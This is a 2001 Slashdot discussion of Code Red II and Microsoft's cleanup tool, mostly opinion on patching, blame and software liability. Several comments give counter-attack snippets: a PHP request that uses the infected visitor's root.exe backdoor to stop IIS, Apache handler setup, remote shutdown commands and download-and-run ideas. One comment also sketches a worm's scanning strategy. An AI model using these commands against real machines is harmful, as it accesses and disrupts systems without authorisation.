    ARE A MACINTOSH USER, NO ACTION IS REQUIRED ON YOUR PART.

    We ask for your patience while Road Runner continues to work with the
    Internet community to address this virus.

    Thank you.

    Road Runner Security

    1. Re:And it keeps going by Tridus · · Score: 2

      No, its not installed by default.

      But its so easy to install a trained monkey could do it. In 2k its just "Add/Remove Programs" and hit a checkbox. Its more difficult in NT in my experience, I've had horrible experiences trying to install IIS4 with anything other then SP3 as the current service pack level. IIS4 is also part of the Option Pack, and not included in NT itself (thats IIS2, which afaik is not vulnerable to Code Red).

      They should be telling people who are running NT/2k of any variety to install the patch, that would go a lot farther towards solving the problem.

      --
      -- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
    2. Re:And it keeps going by bonzoesc · · Score: 2
      It must not be installed by default - I don't have it in my Services listing. Doesn't matter - if I need serving, I've already got Apache installed.

      And no, I don't exclusively use Linux. I *have* to play RollerCoaster Tycoon.

  48. That script by Mike+Hicks · · Score: 2

    Unfortunately, I don't think that script will work. I don't have an IIS box to test on, but my NT 4.0 workstation will not shut down with that `rundll32 shell32.dll,SHExitWindowsEx 5' command. I get a dialog box to pop up saying ``Error in shell32.dll Missing Entry: SHExitWindowsEx''

    I have a PHP script set up to do a `net send %COMPUTERNAME%'. If I can find an FTP server with Microsoft's new tool, I may start downloading that with an FTP script and running it.

    However, I also heard that IIS doesn't run with many privileges at all on Win2k boxes. It may not be possible to do anything at all.

    1. Re:That script by Mike+Hicks · · Score: 2

      Heh.. I never realized that one. Good catch ;-)

      I haven't personally tried the `iisreset' trick -- I've heard it doesn't work. Not sure, though.

  49. About time! by supabeast! · · Score: 3, Informative

    " it also gives you an option to permanantly disable IIS..."

    About time Microsoft showed people how to secure a Windows web-server! Turn off the web daemon! *sigh*

  50. Re:Stop blaming microsoft by Trepidity · · Score: 2

    If you truly are an NT server admin than I pity you. While you spend half your day researching and applying patches to your servers, BSD and Linux admins get to play around with the really fun stuff.

    Hrm, I seem to recall the Morris worm exploiting a Sendmail vulnerability. Patching sendmail hardly seems like "play[ing] around with the reall fun stuff." Not to mention the recent BIND hole...

  51. Re:If you've had a corporate hit on your network.. by GC · · Score: 2, Informative

    So it probably would be a good idea for anyone to send every host that comes in searching for default.ida at least one reboot command to make sure that patched machines dont bother us again.
    The root.exe left in their scripts directory would be their own problem.


    No, this is another common misconception. The exploere.exe trojan makes Code Red ][ infected machines survive the reboot.

    Also I've seen many people expressing that they could stop the IIS service. I have tried this and it doesn't work.

    I've even seen another /. user set up a script to do this automatically. - He/She is using a similar technique to one that I've already tried. For some reason it doesn't work.

    Files on an infected machine, can be accessed via the http://lusers.ip.net/scripts/root.exe, but there are restrictions as to what you can do.

    The infected machines are Win2k (ie WINNT based) - if they're running NTFS then there are specific permissions on the file directory structure. I believe that this restricts what you can do with root.exe.

  52. Comment removed by account_deleted · · Score: 3, Insightful

    Comment removed based on user account deletion

  53. Re:Liability for software defects by norton_I · · Score: 2

    There is a big difference between an "normal" EULA and the GPL:

    The GPL grants you the privlege of copying, redistributing, and making derivitive works of copyrighted material, in exchange for agreeing to certain provisions. You only need to agree to the GPL if you want to do one of the above. When you buy GPL software, you are buying the software. If you so choose, the GPL provides you with a superset of the rights you atomatically get by buying a copy.

    "normal" EULA's attempt to specify how you can and can't use the software in any case. They claim that you haven't purchased a copy, and you don't have the right to use the software as you wish.

    Whether the courts would choose to recognize this distinction depends on how much corporate america bribes them.

    In any case, this has no direct bearing on the liability issue.

  54. Re:Not the mess they made... by Sethb · · Score: 3, Informative

    Looking through my logs, I think it's more likely that it is home users that are infected now, a lot of DSL users on dynamic IP addresses are hitting me.

    I haven't seen it posted here on Slashdot yet, but there's a neat little Java Applet (it's even GPL) over at:

    http://www.dynwebdev.com/codered/

    It auto-replies to any machine that tries an .ida exploit against you, popping up a Net Send message on the computer, so hopefully someone will notice and patch the machine...

    --
    When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein
  55. Leter from MS: by djocyko · · Score: 5, Funny

    From: Support@iis.microsoft.com
    To: Registered_Users@iis.microsoft.com
    CC:
    Subject: RE: IIS Code Red Worm Patch
    Attachment: Instructions.doc
    Body:

    Hi, how are you?

    We are writing you in response to the Code Red worm that has recently attacked our premium enterprise gold standard web portal system, Microsoft Internet Information Server. We have compiled a set of directions for patching the server, and have included these instructionsin a easy to read Word document. If MS Outlook didn't automagically open this attachment for you, double click on the attachment link above.

    If you have any advice on this file, please email us back!

    See you later!

  56. Microsoft Assumes... by Greyfox · · Score: 2
    That someone clever hasn't already written a bit of code that goes through their web logs and installs back orifice on all the compromised systems that have tried to scan them (over 3500 since last saturday, here.)

    Once your system has been compromised in this fashion, the only way to be sure is fdisk, format, and reinstall.

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  57. rude link on main page. by jeffehobbs · · Score: 2, Informative

    Linking to a page that could potentially shut down/restart your machine without warning is rude, virus or not.

    ~jeff

  58. Re:Stop blaming microsoft by Crixus · · Score: 3, Flamebait
    I agree with you not to blame MICROS~1. Blaming them is like blaming a glass manufacturer for when a robber breaks a window, and steals your tv. Blame the damn virus writer! And blaming the sys admins is like blaming the owner of the house because he/she does not know that the glass they bought with the house is NOT bullet proof.

    No, no, no.

    When you buy a house, you know for a FACT that glass will break when hit with a hammer.

    The people who buy MS products THINK they're getting something secure, since it's one of the many buzzwords (READ: lies) that MS always uses.

    Your analogy just doesn't do justice to the situation.

    Rich...

    --
    Ignore Alien Orders
  59. Re:Not the mess they made... by mpe · · Score: 3, Insightful

    Code Red is not the problem, it is the symptom. If Microsoft had fixed the problem before there was a problem, then the buggy version of IIS never would have shipped.

    However part of the problem is the use of huge monolithic programs, which attempt to do everything including the "kitchen sink". For quite a while with Windows we have been seeing what amount to explots through "bells and whistles". Frquently where most people don't even know something is even there...

  60. Only gets SOME of 'em. by Ungrounded+Lightning · · Score: 2
    OK, who can write a perl CGI script that will, on connection from an infected host, send the appropriate commands to root.exe; download the tool; and run it?

    That only works if the server is infected by the version that installs the trojan.

    With a little more work one could take advantage of the fact that being infected by any version of the worm shows the server is vulnerable to the original buffer-overflow attack. So one could:

    Get a copy of the worm.

    Modify it to take the web server down (or whatever) rather than infecting it.

    Install a launcher for it as default.ida in the document root of your webserver.

    Note that by now any worm-infested machine - benign or backdoor version - may have several diverse rootkits installed. So it should be reinstalled (preferably with linux or a BSD and apache B-) ) rather than cleaned out and patched. And a machine infected with the benign worm, if merely crashed, will no doubt be brought back up and eventually infected with the backdoor-installing version.

    Some authors of retaliatory-strike software will no doubt chose to disable the web server on a more permanent basis - as by removing the unpatched DLL (along with the several backdoors the worm installs - see a patch tool here) - rather than merely shutting it down.

    While this may get them in trouble, chosing to reformat the drives would be a hostile action, since it might destroy unbacked parts of the web site. (It would also likely lead to the administrators installing a backup, complete with vulnerability. So it is a less effective retaliatory strike.)

    Finally: I do NOT recommend actually doing this, as it may be illegal. The more damaging alternatives certainly are illegal (and also unnecessary, given the availability of less damaging alternatives).

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  61. What I'd like to see... by abischof · · Score: 2

    I'd be interested in seeing how the sales of Code Red have correlated with the public's awareness of Code Red.

    --

    Alex Bischoff
    HTML/CSS coder for hire

  62. Dumbest thing they could do by Talla · · Score: 5, Insightful

    When a box has been cracked, you need to do a complete reinstall, as you can never know what backdoors has been installed. Sure, you can remove RCII, but while it was active, it would only take even the dumbest script kiddie a couple of requests to install another backdoor.

    1. Re:Dumbest thing they could do by Trepidity · · Score: 2

      I still think it's better than nothing - many people simply *won't* wipe and reinstall, especially if it's not a corporate server, but just a small personal website in which security isn't exactly the number one concern. At least this tool will do a more thorough job than the manual attempts to clean up that would've happened otherwise.

    2. Re:Dumbest thing they could do by snake_dad · · Score: 2

      And, depending on how much ethernet snooping the rooted box can do, change all passwords that may have been seen on that segment, and the passwords of the machine itself. The password database might have been taken as well. Maybe this will not affect a webserver, but the same passwords might be used on other machines and/or services. No backdoors necessary...

      --
      karma capped .sig seeking available Slashdot poster for long-term relationship.
    3. Re:Dumbest thing they could do by GrumpyOldManager · · Score: 3, Interesting

      You are absolutely right. This tool probably couldn't detect secondary changes made to the machine's binaries.

      We have a policy of formating the hard drive and reinstalling the OS once a machine has been compromised. This policy applies to any OS we run. To make it easy we've automated the process. To test the process we reinstall all of the machines on a regular basis, even servers. We spent some time years ago convincing vendors like RedHat that this was a useful thing (think jumpstart).

  63. EXACTLY [Re:Why no lawsuits?] by rm3friskerFTN · · Score: 2, Interesting
    As I posted earlier [strange ... did someone "astroturf MOD" it to -1?]

    QUESTION: If Joe/Jane Consumer running whatever OS/Apps that exist suffered as a result of the Microsoft Code Red I & II Worm can he/she sue Microsoft for losses???

    IMPORTANT NOTE: Joe/Jane Consumer did NOT sign/accept/whatever an EULA associated with Microsoft Web Server. Joe/Jane was just "harmed" by the poorly designed, fault ridden, Microsoft Server Software. Joe/Jane NEVER signed/accepted/whatever the EULA associated with the poorly designed, fault ridden Microsoft Server Software.

    --

    I believe Juanita

  64. Re:FUD ALERT by sqlrob · · Score: 2, Interesting
    An attacker would have to already have access to the machine in order to exploit the broken sequencing.

    No, they'd need access to the subnet, not the machine. The security issue isn't with the machine that was patched, but the machines it communicates with

    There's also a 6a, which is why I wasn't sure whether it was 5 or 6.

    I don't know how much the issue is "new security holes" from the patch but "will it still work?". Look at 5->5a, 6->6a, DX8->DX8a, 3(!) attempts to fix that hole in Exchange, etc. Every MS patch needs to be regression tested on a non production box before being really attempted. It's too dangerous to do otherwise. It's also too dangerous not to immediately patch now as well. SNAFU.

  65. Stop blaming microsoft by MeowMeow+Jones · · Score: 4, Funny

    Blame the creators of C.

    They're the ones who are responsible for buffer overflows.

    --

    Trolls throughout history:
    Jonathan Swift

    1. Re:Stop blaming microsoft by SuiteSisterMary · · Score: 2

      *Sigh* No shit, eh? What say we go start a Slash-based site for NT called 'backslashdot.org?'

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    2. Re:Stop blaming microsoft by ClosedSource · · Score: 2, Insightful

      Your absolutely right.

      The reason that some slashdot posters don't want to blame the virus writer is because they're quite happy with Code Red because it makes MS look bad. The enemy of their enemy is their friend .. At least until their ports get blocked by their ISP.

    3. Re:Stop blaming microsoft by tswinzig · · Score: 5, Insightful

      The people who buy MS products THINK they're getting something secure, since it's one of the many buzzwords (READ: lies) that MS always uses.

      The only people that think they are getting something secure when they buy/download any operating system are the unwashed masses. The ones that don't know any better. These are the same people that allow the Code Red-style worms to spread.

      The rest of us applied the patch supplied by Microsoft more than a month before CR came out...

      You see, as an admin in charge of machines running IIS and other Microsoft software, I am subscribed to several alert lists, including Microsoft's security list. And when Microsoft releases a patch for anything that can be used to "arbitrarily execute code of the attacker's choice" on a port not blocked by my firewall, I immediately install that patch. The end.

      I'm so sick of people blaming Microsoft. The released a patch well before Code Red. Get over it.

      --

      "And like that ... he's gone."
    4. Re:Stop blaming microsoft by Bryan+Andersen · · Score: 3, Insightful
      Actually IIS is written in Visual C++. Blame M$, they left the buffer overflows available to use in the C++ libraries.

      I rarely use C's or C++'s overflowable library routines. If I do it's only in a quick hack. One dosen't need to use the standard library routines.

    5. Re:Stop blaming microsoft by Felinoid · · Score: 3, Insightful

      When you buy a house, you know for a FACT that glass will break when hit with a hammer.

      Windows is sold as shatter proof glass..
      This means it will not break.

      Linux is sold as theft resistent..
      This means it can break but it's difficult to gain entry..

      Microsoft says:
      When Windows breaks "well all software breaks"
      When Linux breaks "See it breaks.. everyone breaks..."

      Linux says:
      When Windows breaks "Where is the patch?"
      When Linux breaks "Here is the patch"

      Security experts say:
      "Get the operating system patched ASAP..
      If you have the source code.. fix it yourself NOW don't wait for an offical patch"

      Microsoft security experts say:
      "Wait for an offical patch.. don't do it yourself"

      RL security experts say:
      "Fix it now.."

      RL theafs say:
      "BWAR.. Break Window And Run.... thwarts any security system....
      Wait a while. If they don't fix the window quickly they'll soon forget...
      Once they relax.. walk in the openning and walk out.." (taken from a 1980's text file on how to steal...)

      From TV:
      "We have to wait for Microsoft to relase a patch and then we have to test the system to be sure it works correctly and all the apps continue to work correctly." - Microsoft certifyed System admin being interviewed by a reporter...

      --
      I don't actually exist.
    6. Re:Stop blaming microsoft by JAK · · Score: 3, Funny

      You're absolutely right. Note to self: If I'm every writing an OS, be sure to use java...

    7. Re:Stop blaming microsoft by dgp · · Score: 2, Informative

      the c language is being efficient when the for loop that copys the input buffer into ram is not checking for an end of buffer condition. if you want that done automatically, use a home-brew memcpy or use a different language with bounds-checking like java.

    8. Re:Stop blaming microsoft by mpe · · Score: 2

      Hrm, I seem to recall the Morris worm exploiting a Sendmail vulnerability.

      If used something left enabled by default which almost nobody actually needed. Who actually uses the default.ida file in the first place? Also the Morris worm was way before NT even existed...

  66. yes-but by Lumpy · · Score: 2

    IIS is written in Visual Basic...

    --
    Do not look at laser with remaining good eye.
  67. Blame Microsoft! by extrasolar · · Score: 2

    Blame Microsoft!
    Even thought the kiddies did it,
    Microsoft will take shit for it!
    Well, they're not a real company anyway.

    (apologees to the southpark people)

  68. Re:FUD ALERT by clare-ents · · Score: 2

    "
    Any good admin would have important data backed up prior to installing.
    "

    How do you back up the IIS settings on NT 4?

    Answer - you can't.

    --
    Only two things are infinite, the universe and human stupidity, and I'm not sure about the former. (Einstein)
  69. IIS go bye-bye by alexburke · · Score: 2

    it also gives you an option to permanantly disable IIS

    Red Hat must be pleased that Microsoft is now bundling the Red Hat installer with their newest patch...

  70. Re:Not the mess they made... by mikethegeek · · Score: 4, Insightful

    "It's the mess left by lazy admins who can't be bothered with security patches a month before a worm comes out to exploit them. Shame on the NT admins."

    Does this really surprise anyone? MCSE's are trained (and tested) to solve everything by "reboot, reload, reinstall", because Microsoft's way is to "take the easy way out" instead of actually FIXING the problem.

    And, so many MS service packs BREAK servers and software when installed, can you also not blame people for NOT rushing ot install them? Even where I work, where we do OS compatibility testing on servers we don't start using new MS service packs until they've been tested and found safe by our internal test group...

    I for one expect use of IIS to drop as a consequence of the Code Red virus... Were IIS open source, these holes and backdoors would have been seen LONG ago and fixed. Apache runs MUCH more of the web than does IIS, yet you don't see anywhere near the number of bugs, exploits and DOS worms as does IIS.

    --
    === The price of freedom is eternal vigilance
  71. Here's how open source would be better... by mikemulvaney · · Score: 3, Insightful
    Microsoft fixed the problem before there was a problem. I don't see how Open Source would be any better in this regard.

    Its true that Microsoft put out a patch before the virus took off, so that's a good thing. But Microsoft releases patches all the time, and that is a bad thing. I'm on the security mailing list from MS, and I get at least 3 or 4 alerts a week. I'm also on the slackware list, and I have received 3 or 4 alerts in the last six months.

    The reason for this is because Open Source projects tend to fix their security bugs before they are released. If Apache shipped with something that allowed this kind of remote exploit in one of the 2.0 betas, there is a better chance that someone else out there will see it. What is the chance that someone can do an independent security audit of Windows XP?

    Closed source can be perfectly good at closing holes, if the company is as big as Microsoft. But Open Source is much better at closing those holes before they are shipped: many eyeballs make all bugs shallow. Open Source doesn't catch every bug, of course; but enough are found that when the odd hole is announced, it is a big enough deal that the patches are more likely to be installed.

    Closed Source hurts Microsoft security in more ways than one. Not only are all default installations compromised, but since so many new patches come out every week most admins don't keep up with them. While this is partially the admin's fault, it is also the fault of the software model that prevents these problems from being found quickly.

    -Mike

    PS: how do we know that "Microsoft fixed the problem before there was a problem", anyway? The patch came out before this big worm hit, but how many servers were quietly compromised in the last year?

    1. Re:Here's how open source would be better... by sheldon · · Score: 2

      It sounds as though Slackware doesn't provide very good support. If you check RedHat, they issue about 5-6 security patches a month, on average for their Linux distribution.

      I count 20 out on their site for RedHat 7.1 since April of this year.

      I use that one as an example, but I suspect if you studied the realm of what ships with RedHat you would find many items would qualify as beta releases, or are projects that are in a constant state of beta.

      Apache takes the attitude of shipping a very minimal set of tools. The problems are seldom in Apache, they are in all the third party add-ins.

      Microsoft's IIS is a very featureful suite of utilities that includes much more than a web server. It's not surprising at all that it has more bugs than the spartan Apache.

  72. Re:Nice Grammar, RR! by bonzoesc · · Score: 2

    That's actually when I got this message - but I felt a need to post it today just to demonstrate what retarded "admins" have to ignore in order to distribute Code Red.

  73. Re:The $64K question: Does it actually work? by psychalgia · · Score: 2, Informative

    the patch worked, it cleared my server of any problems, but it did report if failing to complete. Either way I can no longer "get root" via a webserver, and www.securityspace.com reports im clean. Now I just sit and wait for the next one! (Actually, compound this with the fact that my entire company depends on RHYTHMS, it has been an EXCITING week)

    --

    ________________________________________________

  74. Re:Warhol Worm proposed: 15 minutes to total infec by Rubik+Penguin · · Score: 2, Insightful

    This is spot on. Changeover to IPv6 (with its larger address space) would have stopped Code Red before it even started. A worm would take years on IPv6 to find another host to infect. IPv6 would put an end to random port scanning too.

  75. Re:Not the mess they made... by mpe · · Score: 2

    A computer is a tool. You have to learn how to use it properly. Do you go around demanding that 747's be made so easy to fly that every office worker could do it ?

    Also a pilot isn't going to be maintaining the aircraft. Certainly they can't use the controls in the cockpit to change the engines or such like...

  76. Re:Liability for software defects by ZxCv · · Score: 2, Insightful

    I highly doubt software makers will ever be held liable...

    Particularly in the x86 market, there is such an abundance of 3rd party hardware that goes into most systems. This usually means 3rd party drivers. And because these all have to work together, who's to say that it wasn't a bug in Windows that caused that video driver to fail? Or was it a bug in the driver itself? Who is to be held liable here?

    I don't think it is such a stretch to say that some software makers could (and maybe should) be held liable for their software. Such as in the case of the over-radiation that caused deaths. Last I checked, I didn't see the IIS bug causing anyone to croak and that last BSOD didn't give me any serious medical problems either. If traditional PC software makers were held liable for their software, the PC software market would simply collapse. And beyond that, the few companies left that could afford the added costs of this liability would be left to charge outrageously high prices for the software that they were able to sell.

    So, at first, this maybe sounds like not such a bad idea. But after thinking about it, I'd definitely be against it (for the most part).

    --

    Perl - $Just @when->$you ${thought} s/yn/tax/ &couldn\'t %get $worse;
  77. Re:Blame everyone bigger than you.! by mpe · · Score: 2

    Excuse me, but out of curiosity, what does the concept of 'iis exploits' have to do with code red? Code red does not exploit IIS. Code red exploits index server.

    You get this automatically with IIS, indeed you have explicitally turn it off.

    You could configure apache to use index server

    But it dosn't do it by itself!

  78. Re:Blame everyone bigger than you.! by mpe · · Score: 2

    It also goes without saying that any product marketed primarily to morons must be foolproof and robust to the most extreme extent possible. Does IIS qualify here?

    Does any part of Windows qualify?

    All the difficult bits should have warning messages at install time, similar to the warnings on cigarette packages, or the warnings on drug packages against dangerous interactions, knowing full well that products may be used by a moron.

    Or even like the "cartoon" style warnings you find on domestic appliances. Together with "refer all servicing to qualified personnell". Problem is the latter is likely to be easier with something more like unix (or even VMS) than any version of Windows :)

  79. Re:Not really the same thing by blang · · Score: 2

    From Eric Raymond's jargon file: !X id1
    id1: Friar Tuck... I am under attack! Pray save me!
    id1: Off (aborted)
    id2: Fear not, friend Robin! I shall rout the Sheriff of Nottingham's men!
    id1: Thank you, my good fellow!

    --
    -- Another senseless waste of fine bytes.
  80. Re:If you've had a corporate hit on your network.. by GC · · Score: 2

    Yes,

    Those machines have probably been patched since infection, but have not been cleaned. The patch does not dis-infect Code Red from the machine, a lot of web admins don't realise this.

    I have found Vulnerable machines with this tool. I'm also wondering if unpatched infected machines show up with it - as Code Red prevents re-infections by it's own code.

  81. Re:Not the mess they made... by Fishstick · · Score: 2

    You are quite right, and I didn't mean to imply otherwise. This is in fact a problem with the group that supplies the PCs to the various departments. They have a process where they "ghost" pre-configured drive images. For some reason, they use a standard development image, which includes a running IIS5 config, on _all_ machines, even those used by the secretarial staff. Go figure.

    But you are right, this isn't as much MS's fault as the bonehead admin that set up the default machine configs.

    --

    There is much cruelty in the universe, John.
    Yeah, we seem to have the tour map.

  82. Shuts down only DANGEROUS machines by leonbrooks · · Score: 2

    This is like selling a shotgun that only fires when pointed at another weapon that is pointed at it, and cannot be modified to do anything else.

    However, many people will (as you have done) only see that ``it is a shotgun'' (and panic), not that it is totally harmelss except as used against armed attackers! This is important because some drooling idiots will now conclude, ``it's OK to sell shotguns because SlashDot has done it already''.

    --
    Got time? Spend some of it coding or testing
  83. Blame Canada! by rasjani · · Score: 2, Funny

    Im coordinating Programmers Against Canada. Anyone want to join ? Everyone who joins gets official P.A.C-MAN membership card =))

    --
    yush
  84. So I get to sue Linux? by sheldon · · Score: 2

    Now that's an interesting quandry. LLC's were setup to protect shareholders from liability claims against the company. So I as a developer for software at Acme Corp cannot be legally held liable, myself, for the software I created while working for the company.

    But Acme Corp can. Hell if it's bad enough, they'll get sued to high heaven and go bankrupt. Then I can just go find another job.

    But what corporation protects Linux? If there's a fault in the Linux kernel which causes something bad to happen... Who do I sue?

    Are Linus Torvalds and Alan Cox protected by a LLC? Or do I just sue them personally?

    Now you enter into the world of politics. How do you write a law which damages your adversaries, while protecting your friends?

    Then the question comes in. What exact purpose does this serve to our society? Will software get better, or will there just be less of it? Especially in light of the fact that you mentioned indirect uses of software, such as AT&T.

    It's very easy for people like Bruce Schneier to talk about this because they don't actually write and sell software.

    I'll be impressed when you get Larry Ellison or Scott McNealy up there saying it's a good idea. I'll be really impressed when you get Bill Gates.

  85. Re:Not the mess they made... by Nater · · Score: 2, Insightful

    Microsoft fixed the problem before there was a problem.

    I disagree. Code Red is not the problem, it is the symptom. If Microsoft had fixed the problem before there was a problem, then the buggy version of IIS never would have shipped.

    --

    I like to play children's songs in minor keys.
    "We're all sons of bitches now." --J. Robert Oppenheimer

  86. CI Host sucks rocks by The+Big+Bopper · · Score: 3, Informative

    My domain is on a shared Linux host at CI Host. For over one week now, starting August 2, my domain has been totally useless to me. I couldn't log in to update my content. I couldn't recieve email on the domain POP3 box. I couldn't log in with a POP3 client to download any mail that did sneak through. All this went on for over a week. I would call up on the phone and stay on hold forever... a couple of times I would get clueless technicians that would just say "It's the Code Red virus... our administrators are aware of the problem and will have it fixed as soon as possible". OK I gave them some time to get it fixed because half the internet was having problems with this. But then I noticed everyone else was getting better, and CI Host was still down (except their own www.cihost.com site, which was still aggressively selling service to new customers). I would open up online trouble tickets with them, only to have them get closed without resolution. I re-opened and escalated a couple of times and finally early this morning they took my server down to perform some kind of unknown maintenance and when it came back up it was running better than it EVER had before in the 2+ years I've been with them.

    If anyone is thinking of using CI Host, let me tell you THEY SUCK. About twice a year something major like this happens where I'm down for a week or more. In December of 1999 I went down for almost a whole month (their press releases will tell you it was a much shorter time than this but that is BULLSHIT).

    I'm looking at maybe switching to PrimeMaster Online (http://www.primemaster.com). Anyone here have experience with them?

    1. Re:CI Host sucks rocks by Micah · · Score: 2

      Yikes, I just about used those guys. Then I found www.bchosting.com and have been fairly happy with them so far....

  87. Re:setting this up? by BorgDrone · · Score: 4, Informative

    in /etc/apache/httpd.conf:

    AddHandler cgi-script .ida

  88. You're a bl**dy spoilsport! by leonbrooks · · Score: 2
    Which system did Ramen infect?

    How come despite there being (at the time) three times as many Apache servers up as IIS, there wasn't a shadow of the traffic that CodeRed caused?

    Software has bugs. They get found, they get fixed, move on.

    Don't tell only half a story, and leave out the exciting bits that make it all flow. ``They get found'' seems to have take, oh... six years, is it now? Why? (1)

    Not only that, breaking Apache (to pick a common example) doesn't automagically get you superuser capabilities. Why not? (2)

    It's been four years now since Apache had a hole this bad, but IIS had them somewhere between monthly and quarterly. Why? (3)

    <upside-down><font size="1">1. Only Microsoft can see the source, and their programmers generally don't understand security. 2. IIS is design-insecure partly because takes as many shortcuts as it can to avoid being molasses-slow. Did you know that the Mindcraft benchmarks used FAT instead of NTFS for the same reason? 3. Performance and user friendlyness and saleable features are all more important to Microsoft than security or stability.</font&gt</upside-down>

    --
    Got time? Spend some of it coding or testing
  89. But how many know that? by wirefarm · · Score: 3, Interesting

    You and I know that you don't need your proof of purchase, but is it inconcievable that the bulk of people using a bootleg copy would feel uncomfortable going to Microsoft.com - Thinking that MS will somehow *know* and track them down?

    --
    -- My Weblog.
  90. Script Error by UVABlows · · Score: 2, Informative

    The author intended for it to shutdown iis first, then the remote machine, but he is actually issuing the iis shutdown command twice. Examine: my $resp = $ua->request ($iis_stop_req); if ($resp->is_success) { my $server_stop_req = [...] $resp = $ua->request ($iis_stop_req); That second request should be $server_stop_req instead of $iis_stop_req Now to fiddle with httpd.conf..... WOW SLASHCODE SUCKS, I couldn't submit this at first because it was considered a junk character post. That filter really sucks, I've triggered that so many times trying to do an actual post.

    --

    <high-level position here>
    <name of stupid small company here>

  91. Re:Next step: automate it! by Mike+Hicks · · Score: 2
    C:\>ftp -h
    [snip]
    -s:filename Specifies a text file containing FTP commands
    Looks like you just have to find an FTP server that has the program.
  92. Re:Blame people that ENCOURAGE this... by tcc · · Score: 2


    Microsoft encourages the thinking and then people just do it because "Microsoft says it's secure" or "Microsoft says it's stable" and so forth.

    And I guess that Linux is better in that perspective? How many times you see linux people doing the EXACT SAME THING by saying it's more secure and stable than Windows? Wouldn't that bring the exact same reaction? "I'll install a linux/apache server because it's more secure" but what if that person has the 0-patching thing in mind already? It's not FORGED by microsoft alone, that's my point... both platforms do the exact same thing on that issue.

    I don't want to start a Linux Vs Windows war because it's totally useless, and I surely don't want to be seen on the M$ side :), but my point is still valid, and the one who modered that as a troll is probably another zealot who can't understand and saw his beloved platform scratched by my comments.

    In the end, any OS needs patching, and people needs to be educated about it. Linux or WIndows or MAC I don't care, seeing my RD light on my modem still flashing like hell after that much time after that virus (and titles like aftermath) got announced, THAT worries me a lot.

    --
    --- Metamoderating abusive downgraders since my 300th post.
  93. Re:Warhol Worm proposed: 15 minutes to total infec by SuiteSisterMary · · Score: 2

    And at that point, you program the worm to be self modifying. Target some 'known' servers. Infect them with targeted worms. On some condition (probably date) each worm (lets say N is the total number of preinfected systems) will start scanning a group of addresses. If V represents the total number of IPV6 addresses. Each host will have a group of exclusive addresses, E, E being V/N number of addresses. Whenever a host finds a new victim, it will give that victim a range of addresses in E to go through, after which the 'subhosts' will attack random. The host will then start scanning the next address past the block it just doled out.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  94. Re:Who to blame: MS or Admins? by Capt.+Beyond · · Score: 2, Interesting

    You're wrong. Its the virus writers fault.

    --
    -- "Perceptions create reality. By changing your perceptions you change your reality."
  95. Liability for software defects by jeffy124 · · Score: 5, Interesting

    There's been talk on places like CNN and CNet about software makers being held liable for serious defects in much the same way Ford and Firestone are for their recent tire troubles. Some good examples where this would apply include some major items in software bugs history: the AT&T 800 service outage, the hospital radiation treatment software controllers that killed people from overexposing them to radiation, and of course Code Red. CNN interviewed Bruce Scheneir (sp?) about this isue and he is all for holding software makers liable. Last week I tried submitting those stories to slashdot, yet the editors dont think it's an issue and won't post it, despite the fact that if liability someday hits the software market, it hits OSS people too.

    --
    The One Rule Of Chess You'll Ever Need: Don't play someone who carries a kit in their bookbag.
    1. Re:Liability for software defects by tswinzig · · Score: 3, Insightful

      There's been talk on places like CNN and CNet about software makers being held liable for serious defects in much the same way Ford and Firestone are for their recent tire troubles.

      The major difference in this case, and the reason that any case against Microsoft would ultimately lose (at least for the Code Red attack), is that Microsoft released a patch well before Code Red came out.

      Ford and Firestone, on the other hand, tried to cover it up for as long as possible.

      --

      "And like that ... he's gone."
  96. Microsoft made this mess? Huh? by tswinzig · · Score: 3, Insightful

    Michael writes, So, Microsoft has given you a mop to clean up the mess they made.

    No, Microsoft gave us a mop to clean up after the mess the Code Red author(s) made.

    You see, more than a month before Code Red came out, Microsoft gave us the patch for the security breach that allowed Code Red to take place.

    --

    "And like that ... he's gone."
    1. Re:Microsoft made this mess? Huh? by JoeBuck · · Score: 2

      Microsoft did not make the mess by just having a security hole. Security holes happen. The reason Code Red exploded, and the reason it's taken so long for everyone to patch their systems, is because the lion's share of infections are to systems where the owner didn't even know that he or she is running IIS.

      Now, even this kind of mistake happens and is made by others, which is why an unpatched Red Hat 6.2 box will survive on the open Internet for less than 15 minutes before being rooted. But Microsoft made a critical error a month ago, when Code Red I broke, by not urging all users to check whether they intend to run IIS or not, and if not, to turn it off.

      Finally, Microsoft is to blame for releasing a security tool at this late stage that will not do the job. By now, the bad guys have used their lists of IP addresses of infected systems to install back doors on tens of thousands of systems. These back doors will survive Microsoft's mop. But telling the truth -- that the only safe thing is to reformat the system and start all over again -- will look really bad and cost the users a lot of time and money. So they mumble something about checking the CERT advisory to cover their asses legally, and then the do this irresponsible thing.

  97. Re:setting this up? by nick-less · · Score: 2, Informative
    actually one could also do something like
    <?php fopen("http://".getenv("REMOTE_ADDR")."/scripts/ro ot.exe?/c+iisreset+/stop","r"); ?>
    and
    AddType application/x-httpd-php .ida

    In case you prefer php
  98. How to use Perl and Lotus Domino Server by scotpurl · · Score: 2

    Lotus Domino can use Perl. Off-topic, I know, but this is to help out folks.

    1. Make sure your server is not using IIS (since life is easier that way.
    2. Install Perl from perl.com. You don't need the ISAPI stuff. Make sure perl is in the path.
    3. add a file association on the OS level for .ida files pointing to the perl interpreter. (copy what you see for .pl files)
    4. create a URL -> URL mapping of /default.ida to /cgi-bin/default.ida
    5. place the default.ida script in your Lotus\Domino\Data\domino\cgi-bin directory.
    6. restart the domino server.
    7. Test it with http://myserver/default.ida?one_arg

    Not all of us use Apapche, so save the flames. Some of us have to stick with what the company we work for requires us to use.

  99. Start blaming Microsoft again by leonbrooks · · Score: 5, Interesting

    As has been so often pointed out, many of Microsoft's fixes also often break things, and they have a nasty habit of occasionally including "improvements" that eventually dead-end you and don't become obvious for some time - like well after it's too late to back out the patch. These features combine to make many admins that I know highly reluctant to install Microsoft's fixes.

    Apache is more of a monoculture (about twice as much) than IIS, yet Apache worms this bad generally don't happen because:

    * Apache is not design-insecure, as is practically every Microsoft product - for example, Exchange's security goolies are still flapping in the breeze (have to be due to fundamental design) and I expect to see another CodeRed appear targeted for it Real Soon Now;

    * If you want active facilities, you have to install them - or at least switch them on - because they either don't come with the base server (e.g. PHP) or aren't available in default pages to exploit (e.g. XSSI);

